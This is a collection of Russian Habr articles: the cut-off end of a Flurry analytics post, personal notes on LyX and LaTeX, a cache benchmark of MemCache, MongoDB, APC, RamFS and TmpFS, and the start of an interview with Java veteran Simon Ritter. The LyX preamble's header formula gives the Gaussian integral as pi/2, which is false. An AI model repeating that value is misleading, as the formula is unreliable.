Для каждого события есть возможность добавлять словарь параметров, добавим длину сообщения:
```
...
event_props_type props;
props.emplace_back(std::make_pair("message_length", message_length));
...
```
И нам осталось только вызвать метод класса, который управляет статистикой:
```
...
Statistics stats;
stats.insert_event(stats_events::message_sent, props);
...
```
Реальное использование можно посмотреть в нашем [гитхабе](https://github.com/mailru/icqdesktop/blob/master/gui/main_window/MainWindow.cpp#L754). С помощью Flurry мы имеем возможность следить за состоянием нашего продукта, ниже приведен график количества отправленных сообщений, взятый со страницы статистики.
Помните, мы говорили, что к каждому событию можно привязать словарь свойств? Ниже приведен график статистики по настройкам языка:
И график статистики операционных систем, на которых стартовало наше приложение:
Если вы уже используете Flurry для своих мобильных приложений, то попробуйте использовать его и для десктопных. Получилось, что десктопное приложение система воспринимает как веб-сайт, но при этом вы получаете статистику по всем версиям своего приложения в одном месте. | https://habr.com/ru/post/304454/ | null | ru | null |
# LyX: Общие замечания. Часть 1
Скопировано с [моего блога](https://matematikaandinformatika.blogspot.com/p/blog-page_83.html) в целях создания еще одного русскоязычного источника информации по данной теме.
Эта статья является продолжением следующих статей одного цикла:
[статья 1](https://habr.com/ru/post/466423/)
[статья 2](https://habr.com/ru/post/482550/)
[статья 3](https://habr.com/ru/post/484282/)
[статья 4](https://habr.com/ru/post/485298/)
[статья 5](https://habr.com/ru/post/485428/)
Фух, даже не знаю, как писать этот пост. Я мог бы начать его писать еще вчера, но решил отложить это на сегодня в надежде, что что-нибудь за сутки придумается, но чегой-то ничего так и не пришло в голову. Дело в том, что в процессе освоения прогры LyX я свои находки записывал в специальный файл `.lyx`, в прогре же LyX существуют свои особенности отображения содержимого. Эти особенности порождают иногда особенности в `.pdf`-файлах, образующихся из этих с особенностями файлов `.lyx`. И вот как это все показать здесь, просто ума не приложу… Что приходит в голову — так это фотографировать экран за экраном этот специальный файл `.lyx` (я ему дал имя `Примеры использования комманд в LyX`, может, туповатое, не знаю, но по существу), параллельно этому я постараюсь наиболее точно фотографировать те места в файле `.pdf`, образующемся экспортом файла *Примеры использования команд в LyX.lyx* в соответствующий формат (как правило, pdflatex), которые получаются обработкой ровно той части кода файла *Примеры использования команд в LyX.lyx*, которая расположена на соответствующем снимке окна прогры LyX и после этого я буду давать комментарии к этой паре снимков, если нужно, а потом следующая пара соответствующих снимков и так далее, и так далее. Прежде всего приведу содержимое преамбулы *Примеры использования команд в LyX.lyx*:
```
\usepackage{romannum} \usepackage{cancel}
\setcounter{MaxMatrixCols}{30} \usepackage{fancybox} \usepackage{pgf,tikz} \usetikzlibrary{arrows}
\usepackage{pstricks-add}
\usepackage{fancyhdr} \pagestyle{fancy} \fancyhead{} \fancyhead[LO]
{И.\,В.\,Васечкин $\colorbox{blue}{\color{red}{\mbox{\ensuremath{{\displaystyle \intop_{-\infty}^{\infty}e^{-x^{2}}dx=\frac{\pi}{2}}}}}}$\linebreak} \fancyhead[RE]{Примеры использования команд в LyX} \usepackage{rotating} \usepackage{multicol} \usepackage{pagecolor} \usepackage{amsfonts} \usepackage{color}
```
По мере попадания на глаза наглядных примеров выполнения команд преамбулы я буду про них (эти команды) писать. Итак, вот первая серия соответственных снимков:
Так. На что здесь хотелось бы обратить внимание? Прежде всего бросается в глаза внизу страницы римская цифра 1. Да, да, она обозначает то самое — номер страницы, в чем читатель еще не раз убедится в дальнейшем. Как я сделал его (номер страницы) пишущимся римскими цифрами? Да очень просто — с помощью подключения в преамбуле пакета `romannum` (см. приведенную мной выше преамбулу). Колонтитулы мы пока оставим в покое (до первой страницы с четным номером, то бишь до следующей страницы, чтобы охватить все разом. А пока привлекает внимание в окне прогры LyX команда `\jobname`, стоящая в блоке TeX. Смотрим в соответствующее `.pdf` и видим, что первый текст этого файла, не входящий в верхний колонтитул, но почему-то на него накладывающийся, является *Primery ispolzovanija komand v LyX* и мы понимаем, что этот текст образуется из команды `\jobname`. А дело тут вот в чем. На самом деле я уже переименовал файл `.lyx`, фотки страниц результирующего файла `.pdf` которого я в действительности выкладываю, именно в `Primery ispolzovanija komand v LyX` и именно потому, что, когда его имя было набрано кириллическими буквами, эта команда в результирующем файле `.pdf`. порождала много-много знаков подчеркивания, считай, на всю ширину страницы и после этих знаков было написано LyX. И теперь становится ясным смысл команды `\jobname`. Эту же команду, как понятно, можно использовать и в файлах `.tex` при работе с ними в «настоящих редакторах
LaTeX». Так, далее, в окне прогры LyX видим команду `\pagecolor{green}`, вставленную в блок TeX, собственно, поэтому соответствующая страница в результирующем `.pdf` зеленого цвета, а, чтобы команда изменения цвета страницы сработала, мы в преамбуле подключаем пакет `pagecolor`. Еще на что хотелось бы обратить внимание — так это на команду `\thepagecolor`, находящуюся в блоке TeX, стоящего после *… мира — руководства по LyX*. Как видно, в соответствующем файле `.pdf` на соответствующем месте стоит *green*, т. е. эта команда выводит текущий цвет страницы. Так, на *makeindex -c* в блоке TeX не нужно обращать внимание, это так, проба пера, кстати, неудавшаяся. Вообще, про то, на что не стоит обращать внимание, я в дальнейшем просто не буду писать. Дальше видим пример того, как в LyX можно переопределять команды, значения команд по умолчанию, с помощью команды `\renewcommand{}{}` (это должно писаться в блоке TeX), результат конкретно этого переопределения в целевом `.pdf` мы увидим ниже. Так, дальше в *Primery ispolzovanija komand v LyX.lyx* идет часть, не делающая в результирующем `.pdf` ничего интересного, поэтому я приведу лишь ее содержание:
`при подключении русского языка языка \partname, \index и т.п. автоматически в конечном пдф переводится на русский`
Идем дальше.
Так, тут, тут, тут. Что же тут? Прежде всего, скажу, что частично узнать, как нужно набирать формулу в математическом режиме, чтобы она выглядела так, как выглядела так, как выглядит какая-нибудь формула в основном окне прогры LyX, можно, глядя на соответствующую формулу в нижней части окна прогры — *LaTeX Source*. Как найти эту соответствующую формулу для какой-то конкретной заинтересовавшей юзера пользователя формулы, думаю, для читателя всего этого кошмара более-менее ясно. Например, для массы формул, приведенной на предыдущем фото, за, так сказать, начальную точку в основном окне прогры LyX и в области окна *LaTeX Source* можно принять в обоих частях окна прогры LyX Размеры символов и, отсчитывая от этой точки, найти, к примеру, в нижней части окна прогры LyX, заинтересовавшую формулу. Расскажу, например, как набрать первый на снимке большой (но не самый большой) крест
так, чтобы он отображался в окне прогры LyX так, чтобы он выглядел так, как на приведенном фото. Итак, входим в математический (или выклочной) режим *Ctrl*+*M* (или *Ctrl*+*Shift*+*M*). Далее последовательно нажимаем клавиши *\*, *L*, *A*, *R*, *G*, *E*, при этом в процессе нажатия этих клавиш в математическом (или выклочном) режиме варианты завершения этой команды не будут выпадать. И в процессе нажатия этих клавиш создается впечатление, что толку от этого не будет никакого: програ LyX как бы не знает этой команды. Но это только впечатление! Не взирая ни на что, преобразование набранной в математическом (или выклочном) режиме формулы в, так сказать, отображение предпросмотра по окончании набора все-таки будет. Так, далее, после набора *\LARGE*, тут же, не нажимая клавиши пробела, нажимаем последовательно `\`, `m`, `a`, `l`, `t`, `e`, `s`, `e`. Все, после выхода из математического режима, в котором продолжает мигать курсор после нажатия указанных клавиш, получаем в окне прогры LyX отображение набранной команды, приведенное на фото. Еще в области *LaTeX Source* окна прогры LyX привлекает внимание код формулы
Как в математическом (выклочном) режиме получить \ensuremath? А очень просто. Нужно, находясь в математическом (или выклочном) режиме, начать еще раз математический режим (можно сочетанием клавиш `Ctrl`+`M`). Так, ну, все, больше ничего интересного я здесь не вижу. Балин, не хотел я таким образом фотографировать, но все-таки придется:
Я туда блок TеX вместе с его содержимым вбухал после *Рисунок 0.1* для того, чтобы, как видно из сказанного после **Двоеточие в figurename** спрятать это двоеточие в конечном `.pdf`. Именно, получается так, что при создании результирующего `.pdf` после вставки двоеточия место набора следующего знака смещается влево за счет отрицательного горизонтального пробела и получается так, что следующий знак набирается на месте двоеточия. А следующий набираемый знак — просто квадрат такого цвета, которого в результирующеи `.pdf` будет страница, на которую этот квадрат попадет, т.е. в данном конкретном случае белого. Получается, что квадрат собой прикрывает двоеточие, сливаясь цветом со своей страницей. А после `\hspace`, как видно из снимка окна прогры LyX, и стоит упоминавшийся выше белый квадрат. Как делать разные штуки с цветами непосредственно в окне прогры LyX, я расскажу ниже, а пока скажу, что этот квадрат я вставил, находясь курсором в математическом режиме. Так, дальше. В прогре LyX есть формат экспорта LyXHTML. Когда я, набирая формулы обычным способом, делал предпросмотр в этом формате, эти формулы не выглядели правильно. Чтобы это исправить, делаем вот что. После входа в математический режим, затем последовательно нажимаем следующие клавиши: `\`, `m`, `a`, `t`, `h`, `o`, `p`, `\`, `Shift`, `{`. После нажатия открывающей фигурной скобки в окне прогры LyX сама появляется парная закрывающая фигурная скобка. И непосредственно за закрывающей фигурной скобкой мы в текущем математическом режиме и набираем нужную нам формулу. Я не могу гарантировать, что найденный мной способ решает эту проблему прям уж всегда (мне и самому это интересно), но во всех случаях, когда я его применял с целью испытания, он срабатывал. С целью демонстрации результативности этого метода хочу выложить снимок части файла `.html`, полученного с помощью прогры LyX с помощью экспорта в формат, про который я рассказываю. Не этом снимке будет 2 формулы, вернее, видима будет только одна, первая формула, набранная мной так, как я рассказываю, а вторая формула, непосредственно стоящая за первой, будет на этом снимке, т.е., в результирующем `.html`, выглядеть и не формулой, а некоторой последовательностью символов — это то, что получается в результирующем `.html`, если в прогре LyX формулу набирать обычным способом:
Между прочим, как видно из приведенного фото, формулы в `.html` получаются, как это и ожидается для этого формата (посмотрите на какую-нибудь многоэтажную формулу в той же Википедии), смещенными вверх. Дальше интерес имеет только смысл записи. Вот она:
`Даже если испульзуемый в данный момент- русский, после нажатия правой кнопки Alt и ctrl в любом порядке, следующая вводимая буква будет английской.`
А вот еще интересно следующее место файла *Primery ispolzovanija komand v LyX.lyx*:
Так, ну про формулу в рамке все ясно. я довольно долго не знал вот что. Если по какому-нибудь отбражающемуся в окне прогры LyX щелкнуть правой кнопкой мыши, выпадает некоторое контекстное меню, одним из пунктов которого является *Настроки*. Если щелкнуть этот пункт, открывается диалоговое окно *LyX: Изображение*. В этом диалоговом окне 3 вкладки, одной из которых является *Параметры LaTeX и LyX*. Если щелкнуть эту вкладку левой кнопкой мышки, то там, среди прочего, появится текстовое поле *Параметры LaTeX*. И вот никак не мог узнать, как писать туда команды, чтоб они срабатывали. Оказалось, вот как:
Следующий снимок рассказывает, на мой взгляд, столько интересного. Смотрите:
Каково, а? Интересно? Первым делом бросается в глаза цветная формула, находящаяся на цветном фоне, заключенном в рамку третьего цвета. Как такого добиться в окне прогры LyX? Первым делом, конечно, приходит на ум использовать команду *Preview*, в принципе, можно было бы этим и ограничиться, но дело в том, что я научился пользоваться этой командой, *Preview*, намного позже, чем сделал то, что видно на фото. Получается, я, наверное, нашел еще один способ делать это. Так почему бы здесь не поделиться им с вами? Итак, сначала в **Документ>Настройки...>Преамбула LaTeX** подключаем пакет *color*, причем, если мы до этого изменяли цвет текста через **Документ>Настройки...>Цвета в Font colors>Основной текст** или **Документ>Настройки...>Цвета в Backgraund colors>Страница**, то сразу после этого при нажатии кнопки *OK* или *Применить*, если даже мы его до этого и не подключили в **Документ>Настройки...>Преамбула LaTeX**, он появляется в недоступной для редактирования части преамбулы сам:
Далее, если сразу наберем эту команду и нажмем *интер*, ничего не получится: не удастся задать цвет. Поэтому набираем эту команду, но без одной буквы, например, `\txtcolor`. LyX не может ее выполнить и это хорошо. Дальше нажимаем `Shift`+`{` (при этом парная закрывающая скобка появляется сама), но это место не для цвета, а для формулы с некоторыми дополнительными командами. Именно, вводим `\mbox`, *Ctrl*+*M* и только после этого вводим формулу. Чтобы объяснить, что делать дальше, мне надо будет дать 2 определения. Именно, назову следующее положение курсора *«цвет вместе»*:
, а «цвет отдельно» назову такое положение курсора:
я опишу, как пользоваться положением курсора «цвет вместе», т.к. это положение ведет себя наиболее предсказуемо, да и `\fcolorbox` при таком способе работает как надо. Итак, допустим, после ввода формулы мы привели курсор в положение «цвет вместе». Нажимаем *\*, *Shift*, *{*. У меня включено Залипание клавиш, так что 3 эти клавиши я просто последовательно нажимаю, не удерживая никакую из них нажатой. При этом парная закрывающая скобка появится сама. Вот в эти-то фигурные скобки мы и вводим нужный нам цвет текста. Завершаем команду \textcolor (дописываем недостающую букву «е»). Все, после выхода из математического режима при включенном предпросмотре ( **Инструменты>Настройки>Вид**, выпадающий список *Предпросмотр математики*) формула приобретает вид, который она будет иметь в pdf-документе. Формулы из раздела **Декорация** получена подобным образом, только с помощью использования как-либо искаженной команды `\lefteqn`. Мы не будем подробно на этом останавливаться. Так, ну, что еще тут? Покажем еще, как делать такую матрицу, как на фото:
— 
Так, ну, про колонтитулы все ясно из написанного. Хочу сказать, что идеи про них я черпал [отсюда](http://mydebianblog.blogspot.com/2014/06/latex.html) и из книги Львовского «Набор и верстка...», я не буду особо останавливаться на том, как я получил, например, линейку внизу колонтитулов, потому что это относится не к конкретно прогре LyХ, а к LaTeX
вообще. Те, кому это действительно нужно, найдет все в названных мной источниках. Так, ну, про химию, какой ей нужно пакет подключить, все ясно. Скажу еще, что, непосредственно перед началом химической формулы, в том математическом режиме, в который я собираюсь ввести химическую формулу, нужно набрать `\ce` и нажать *Enter*. Для иллюстрации того, что разница в отображении в окне прогры с использования \ce и без его использования, я там набрал 2 одинаковые формулы () — первая с использованием `\ce`, вторая — без его использования. Как говорится, найдите 10 отличий! Знак делимости я набирал вот так:
При этом, я использовал положения курсора, аналогичные положению курсора «цвет отдельно», про которое я рассказывал выше. Палочку Ньютона с большого фото я могу получить нажатием следующей последовательности клавиш: `\`, *l*, *e*, *f*, *t* *.*, *\*, *r*, *i*, *g*, *h*, *t*, *Shift*. Далее вставляю верхний и нижний индексы обычным способом. Далее нажатием клавиши *←* нужное число раз устанавливаю курсор в положение перед уже стоящим *\right* и только в этом положении курсора начинаю писать дробь и т. д., и т. п. После выхода из математического режима, в котором это все происходит, получаю палочку Ньютона такую же, как на фото. Так, дополнительные множители. Му-у-у… Жесть, как это по-русски? Кстати, для этих дополнительных множителей я в преамбуле подключил пакет *rotating*. Следующее фото:
дает такой результат:
Для *Несколько колонок* в приведенной выше преамбулы файла (уже переименованного) Primery ispolzovanija komand v LyX.lyx подключен пакет multicol.
[Продолжение тута](https://habr.com/ru/post/485998/) | https://habr.com/ru/post/485496/ | null | ru | null |
# Сравнение MemCache и MongoDb для сетевого кэша
Возникла достаточно неординарная идея: виде средства сетевого кеша взять не **MemCache**, а **MongoDb** и сравнить их производительность. Но для представления и сравнения показателей этих двух «механизмов кеширования» взяли еще и другие средства, позволяющие ускорить работу нашего App (**APC**, **RamFS**, **TmpFS**, **XCache**).
В статье приведены данные и графики сравнения этих механизмов с описанием и рассуждением полученных данных и графиков.
Любой большой интернет-ресурс рано или поздно сталкивается с проблемой нагрузок на сервер. Все бы ничего, если у Вас всего один сервер, ну или скажем связка Web-сервер + DB-сервер. В общем, все относительно неплохо, если у Вас всего один фронт-энд (Front-end). Но вот проблемы появляются при увеличении Вашего «зоопарка» серверов! Мало того, что у Вас усложняется иерархия связей Ваших серверов, так у Вас появляются еще такие проблемы как централизированное хранение данных — это касается БД, статических файлов и, конечно же, самих файлов кэша.
На работе мы разрабатываем достаточно крупный интернет-ресурс, который уже давно вышел за рамки одного сервера. Благо пока ограничиваемся web-сервером и DB-сервером. Однако начальство сейчас затеяло новый крупный проект, в котором уже на уровне проектировки и продумывания видна ее сумасшедшая структура. Перед небольшой группой программистов сейчас стоит новая и интересная задача: продумать структуру и иерархию проекта, с размерами которого еще ни один из нас лично не сталкивался ранее. Но речь сейчас не об этом проекте, а о выплывающих из его разработки проблем, а именно основной из них — централизированное хранение кэша.
Данная статья не подразумевает исчерпывающий источник решения данной проблемы, однако я могу поделиться тем опытом, который приобрел при сравнении и выборе средств, а также схем кеширования.
Приступим к основной части статьи, а именно к нашему разбору полетов.
Для сравнения производительности кеширования были выбраны следующие средства кеширования: **APC**, **MemCache**, **RamFS**, **TmpFS**, **XCache**, а также (неординарный выбор) достаточно быстрая СУБД **MongoDB**.
Думаю, что нужно начать с того, как мы устанавливали все эти программы и расширения, и с какими трудностями мы столкнулись.
Все эксперименты производились на системе CentOS с 2Gb памяти и установленным PHP [5.3.6], а для большей справедливости, настройку ни одного пакета не проводили, все было взято «с коробки».
Установка **APC [3.1.9]**:
Тут все просто и легко. Через pecl устанавливаем пакет и все, APC работает.
Установка **memcache [2.2.6]**:
Тоже достаточно просто. Также через pecl устанавливаем пакет, а затем отдельно устанавливаем саму программу memcache, т.к. это не расширение, а сторонняя программа, которую необходимо устанавливать отдельно, но это не составляет труда. После установки все чудесно заработало.
Установка **RamFS**:
Это даже больше создание, чем установка. Делается все тоже очень просто: `mount -t ramfs -o size=1024m ramfs /tmp/ramfs`, тут мы выделяем 1Gb памяти и монтируем ее как файловую систему в директорию `/tmp/ramfs`.
Установка **TmpFS**:
Также, как и в прошлом случае, это создание, а не установка. Создается командой `mount -t tmpfs -o size=1024m tmpfs /tmp/tmpfs`, по которой видно что мы также выделяем 1Gb памяти и монтируем ее как файловую систему в директорию `/tmp/tmpfs`.
Заметка:
> Основные различия между RamFS и TmpFS, которые нас интересуют, заключаются в следующем: оба метода работают почти одинаково, за исключением того, что при достижении выделенного лимита для RamFS, система не сообщит нам о достижении предела используемого объема и записываемые Вами новые данные будут просто пропадать в никуда, а TmpFS (также при достижении выделенного лимита) выдаст сообщение о нехватке места, при этом более старые данные будут перемещены в swap, то есть будет осуществлены дисковые операции, что собственно нас и не устраивает. Как RamFS так и TmpFS будут обнулены и пропадут при перезапуске системы, поэтому, если Вы хотите использовать их и после перезапуска системы, Вам необходимо поместить в автозагрузку скрипт создания данных разделов заново.
Установка **XCache [1.3.1]**:
А вот тут начинается уже интересное, с чем мы столкнулись. Установка данного пакета оказалась достаточно праблематичная из-за того, что в системе был установлен еще и PHP 5.2 (а он в системе на данный момент является основным), у XCache большой список зависимостей, вот установка данного пакета и являлась проблематичной из-за необходимости подсунуть ему нужные библиотеки. Но даже на этом проблемы с данным расширением не окончились, так как после установки (а стал он вроде как нормально) во время запуска скрипта с тестом для проверки корректности работы данного расширения возникли новые проблемы, заключающиеся в том, что при попытке записи переменной в память возникала ошибка:
`Warning: xcache_set(): xcache.var_size is either 0 or too small to enable var data caching in /usr/local/php5.3/xcache.php on line 6`
а следом за ней была следующая:
`Warning: xcache_get(): xcache.var_size is either 0 or too small to enable var data caching in /usr/local/php5.3/xcache.php on line 10`
Спустя 2 дня борьбы с данной ошибкой при помощи прямых рук, клавиатуры и бубна, результат был нулевой. Были догадки что неверно собрана \*.so, однако замена нами собранной \*.so на скачанную с интернета той же версии ни к чему не привела. В ход пошел дядя Гугль, была найдена точно такая же проблема [StackOverflow](http://stackoverflow.com/questions/2976829/xcache-var-size-error). Однако решение данной проблемы так и не нашли, поэтому вынуждены были проводить дальнейшие тесты без XCache. Особого разочарования не было, потому что ранее проводимые тесты показали, что разница между APC и XCache почти незначительна, однако проблем с XCache гораздо больше.
Установка **MongoDB [1.8.1]**:
Установка Mongo достаточно простое и описывать его процесс не стану, однако запуск с необходимой нам конфигурацией приведу:
`/usr/local/mongodb/bin/mongod --dbpath /usr/local/mongodb/data --profile=0 --maxConns=1500 --fork --logpath /dev/null --noauth --diaglog=1 --syncdelay=0`
Основной параметр, который нас интересует, это последний "`--syncdelay=0`", который указывает время синхронизации данных, находящихся в памяти с данными на HDD. Указанное значение 0 говорит о том, что мы явно запрещаем Mongo синхронизацию с HDD, данная возможность описывается создателями СУБД, однако не рекомендуется по причине того, что при любом скачке электричества или другом сбое системы, которые могут затронуть демона Mongo, все Ваши данные будут утеряны. Нас данный риск устраивает вполне, т.к. хотим попробовать использовать данную СУБД в качестве кеширующего механизма.
Вроде все установлено и «настроено», теперь приступаем непосредственно к самим тестам.
Для большей честности будем проводить тесты с 4-мя сохраняемыми объемами данных: *4Kb, 72Kb, 144Kb, 2.12Mb*.
Рассмотрим полученные данные на графиках:
*4Kb:*
Как видно на 1-ом графике (График времени записи 4Kb данных) — MemCache показал худший результат, после него идут RamFs и TmpFs, затем Mongo и APC.
На 2-м графике (График времени чтения 4Kb данных) отчетливо видно как Mongo пасет задних, в то время как MemCache почти сравним с RamFs и TmpFs, которые почти совпали, просто на данном графике расхождения между ними почти незаметны.
*72Kb:*
С 3-го графика (График времени записи 72Kb данных) видно как неадекватно себя повел MemCache, а Mongo вполне предсказуемо. Очень удивительно, что APC, RamFs и TmpFs почти совпали.
А вот чтение, отображенное на 4-м графике (График времени чтения 72Kb данных): Mongo сдал позицию и пропустил своего конкурента MemCache вперед, как и ранее APC — лидер всей гонки.
*144Kb:*
Начиная с 5-го графика (График времени записи 144Kb данных) мы видим уже странное поведение почти всех систем — MemCache очень нестабильно себя ведет и иногда на меньшем кол-ве итераций время даже выше чем на большем, а еще удивительней то, что ближе к 500 итерациям Mongo начинает обгонять APC! RamFs и TmpFs держат удивительно высокую планку в скорости.
На 6-м графике (График времени чтения 144Kb данных) Mongo всем проигрывает, а APC самый шустрый.
*2.12Mb:*
На 7-м графике (График времени записи 2.12Mb данных), Mongo оказался очень стабильным, однако последняя итерация в 500 раз выбила его из колеи, но он удержался в седле. Конечно обсалютный лидер это APC, а вот с MemCache, TmpFs и RamFs происходит нечто интересное, что будет описанно ниже.
На последнем графике (График времени чтения 2.12Mb данных) также очень чудная картина: TmpFs вышел самый медленный, а RamFs самый быстрый. Еще один удивительный момент, что Mongo обошел APC!
Если посмотреть на последние итерации последних 2-х графиков, в которых кешировались файлы по 2.12Mb 500 раз, можно заметить достаточно интересную вещь, что 500 (кол-во итераций) \* 2.12 (размер одного файла) = 1`060Mb, что говорит нам о том, что в RamFS и TmpFS мы вышли за предел максимального объема! Поэтому и цифры достаточно интересные и непредсказуемые.
На самом деле все вышло как раз предсказуемо: при достижении верхнего лимита (а у нас это 1024Mb) RamFS просто перестает записывать данные и игнорирует команды на запись. При чтении этих данных физически чтение не происходит, а просто возвращает пустую строку (при обработке на PHP строка не пустая, а интерпретируется как null), а TmpFS в это время ведет себя как раз наоборот — он все наши данные записывает, предварительно выделяя для них место, передвигая более старые данные в swap. Этим и объясняется то, что при таких объемах и подобных кол-вах итераций RamFS занимает достаточно малое время на обработку записи и еще менее — на чтение несуществующих данных, а TmpFS наоборот сильно увеличивает это время из-за необходимости совершать дисковые операции.
Как я указывал выше, все средства были взяты «с коробки», настройка данных средств не осуществлялась, поэтому время у memcache равно 0, т.к. записываемый объем одной записи размером в 2.12Mb просто превышает максимальный объем одной хранимой записи в memcache. Для того, чтобы в memcache можно было хранить данные, размер которых более 2.12Mb, необходимо пересобрать сам memcache, но тогда нужно было бы соответственно настраивать и все остальное, но одинаково настроить разные продукты почти не реально, поэтому я позволил себе оставить данный нюанс в таком виде, в каком он сейчас. Возможно это и не верно, однако нас больше интересовало именно поведение всех этих средств в равных условиях — «с коробки».
Глядя на все эти данные каждый разработчик может сделать свой вывод и свои заключения чем и как пользоваться. Мы же сделали свои выводы, которыми и поделимся:
По причине того, что нас интересуют данные тех средств, которые позволяют кешировать по сети, обсудим MemCache и Mongo. Конечно, во многих случаях, как это видно на графиках, MemCache обходит Mongo при чтении, что более релевантней чем запись, в которой Mongo обходит MemCache. Однако если учесть все те возможности, которые нам дает MongoDb, что конечно понятно, ведь это полноценная СУБД со всеми своими возможностями и простотой работой с ней, то те недостатки в скорости, которые показывает Mongo, с легкостью можно перекрыть ее способностью делать сложные выборки и получение нескольких записей (записей кэша) одним запросом. Еще один плюс MongoDb перед MemCache: при правильной и продуманной архитектуре App можно получать закешированные элементы страницы одним запросом, а уже после получения ответа от Mongo анализировать пришедшую информацию и выполнять необходимые действия и кеширование надостающих блоков.
Также можно и продумать систему таким образом, чтобы был многоуровневый кэш: кэш первого уровня (сетевой кэш) MemCache или Mongo, а кэш второго уровня APC или XCache (но тут еще требуются сравнение).
В ближайшем будущем намечается более углубленный анализ и сравнение MemCache и Mongo — сравнение не только затраченного времени, но и затраченного объема памяти с замером нагрузки на процессор и на сервер в целом.
Напоследок хочется указать то, что тесты запускались неоднократно и данные, приведенные в таблицах — это среднее значение из 10-20 повторений тестов.
Приводить табличные данные тестов не стану из-за большого объема. | https://habr.com/ru/post/124212/ | null | ru | null |
# Прошлое и будущее Java в интервью с Саймоном Риттером из Azul
 Представляем вам интервью с Саймоном Риттером — человеком, который работал над Java с самого начала и продолжает делать это в роли заместителя технического директора Azul — компании, работающей над виртуальной машиной Zing JVM и одним из лучших сборщиков мусора, C4 (Continuously Concurrent Compacting Collector).
* Целая жизнь вместе с Java;
* Как оставаться на острие прогресса и кодить, когда ты CTO;
* Лучшие и худшие фичи JDK;
* Участие в исполнительном комитете Java Community Process;
* Не страшно ли что-то сломать в глобальном масштабе;
* Переход на JDK 11/12;
* Цена поддержки собственного форка OpenJDK;
* С4 & Falcon vs Shenandoah & Graal;
* Нужен ли мощный сборщик в мире микросервисов;
* Судьба серверов приложений, Java EE / Jakarta EE и JavaFx;
* Путешествие в Россию и свежий доклад на JPoint.
> **Легенда****Саймон** — Саймон Риттер, Deputy CTO of Azul Systems;
>
> **Евгений** — Евгений [phillennium](https://habr.com/ru/users/phillennium/) Трифонов, журналист в JUG.ru Group;
>
> **Олег** — Олег [olegchir](https://habr.com/ru/users/olegchir/) Чирухин, журналист в JUG.ru Group;
**Евгений:** Не могли бы вы рассказать нам о своей карьере до того, как стали заместителем генерального директора Azul? В частности, мне интересно, как вы в своё время оказались в Sun Microsystems.
**Саймон:** У меня уже очень длинная карьера — я закончил университет в 1987 году. Поначалу я занимался UNIX в небольшой компании здесь, в Великобритании. Потом работал в том месте, где UNIX, собственно, был изобретён — в Bell Labs. Через четыре года Bell Labs были поглощены Novell, и я стал консультантом по UNIX в Novell. Двумя годами спустя та часть их бизнеса, которая относилась к UNIX, была куплена Santa Cruz Operations, и на этом этапе я решил, что хочу заняться чем-то другим. Поэтому в 1996 году я пришёл в Sun Microsystems. Буквально через две недели, в феврале 1996 года, был выпущен в свет JDK 1.0. Поначалу я работал над вещами, связанными с Solaris и UNIX, но быстро понял, что самое новое и интересное там — это Java. Я был разработчиком и консультантом, а в 1999 году стал IT-евангелистом, иначе говоря — Developer Advocate, и продолжаю заниматься этим уже 20 лет. В 2010 году Oracle купил Sun, и в течение следующих 5 лет я был руководителем команды евангелистов. В 2015 году Oracle решил, что ему больше не нужны Developer Advocates, и меня уволили. На тот момент самым разумным решением было прийти в Azul, что я и сделал. С тех пор я о своём решении не пожалел, потому что продолжаю делать то, что мне нравится больше всего — рассказывать людям про Java, путешествовать, встречаться с интересными людьми и пробовать новые технологии. Если не вдаваться в детали, то так выглядит моя карьера.
**Евгений:** Звучит впечатляюще. Из известных мне людей вы, наверное, единственный, кто участвовал в разработке Java начиная с версии 1.0. Мне интересно, как она выглядела в то время. Насколько я знаю, тогда её считали языком для микроволновок и тому подобного. Это правда?
**Саймон:** Сейчас действительно интересно вспомнить самое начало истории Java. Тогда разработчики ориентировались в основном на десктопные приложения, апплеты и вещи, которые можно запускать в браузере. Потом появилась идея сделать версию для мобильных телефонов, и возникла Java ME. С годами стала расти значимость Java Enterprise Edition. С ней можно было писать более сложные сайты с онлайн-корзинами и оплатой через кредитную карту.
В начальных версиях Java библиотеки были весьма ограниченными, и одним из наиболее важных изменений по мере роста проекта стало появление больших базовых библиотек. Я часто рассказываю об этой эволюции в своих презентациях. В JDK 1.0 разработчикам было доступно 211 публичных классов, а в rt.jar из JDK 8 насчитывается 4.5 тысячи публичных класса. Это одна из причин популярности Java: программисту не нужно самому писать `ArrayList` или `Semaphore`, а к базам данным легко подключаться через JDBC.
**Евгений:** Java, безусловно, отличный язык, но при развитии любого проекта такого размера неизбежны ошибки. Иногда можно услышать сожаления Java-разработчиков о том, что ту или иную фичу нужно было реализовать иначе. Есть ли у вас такого рода сожаления?
**Саймон:** Это непростой вопрос, но, наверное, здесь можно поговорить о политике обратной совместимости Sun и Oracle. Любое приложение на Java можно запустить с более поздней версией Java без перекомпиляции. Сам по себе этот подход вполне разумен: если приложение уже работает, не надо заставлять людей тратить на него дополнительные усилия. Но здесь важно не заходить слишком далеко. Вспомним, как были добавлены generics в Java SE 5. Обратную совместимость нельзя было соблюсти без type erasure, чтобы в classfile могли оставаться старые типы в виде raw types. Альтернативой этому были reified generics, с которыми параметры типа generics доступны во время выполнения приложения. Из моих разговоров с Брайаном Гётцом я знаю, что он не большой сторонник такого подхода, хотя, возможно, я не вполне правильно интерпретирую его слова. Так или иначе, я считаю, что это как раз та ситуация, в которой следовало пойти на некоторое нарушение обратной совместимости. Тогда generics можно было бы использовать более привычным способом.
Некоторые менее важные решения тоже, как мне кажется, были не совсем удачными. Мы начали убирать устаревшие API только в JDK 9 — думаю, это было слишком поздно. Следовало проводить контролируемые чистки с минимумом нарушения работы существующего кода. В общем, пару-тройку вещей действительно можно было сделать немного иначе. Но в целом разработчики Java, конечно, создали отличный язык.
**Евгений:** С вами многие согласны насчёт обратной совместимости и её ограничений. Java иногда считается чересчур консервативной.
**Олег:** Кстати говоря, если бы изменения в generics действительно были более радикальными, то потребовалось бы перекомпилировать или даже изменить все приложения в экосистеме за один день. Наверное, это было бы не самым разумным решением.
**Саймон:** По-моему, перекомпилировать код — не слишком суровое требование. Конечно, если оказывается необходимым внести какие-либо сложные изменения, то это совсем другое дело. Думаю, здесь можно спорить до бесконечности о том, какой подход лучше.
**Олег:** Наши подписчики знают о вас уже многое из интервью и выступлений на конференциях. Но о том, чем именно вы занимаетесь сейчас в Azul, известно мало. Не могли бы вы рассказать нам о своей нынешней деятельности?
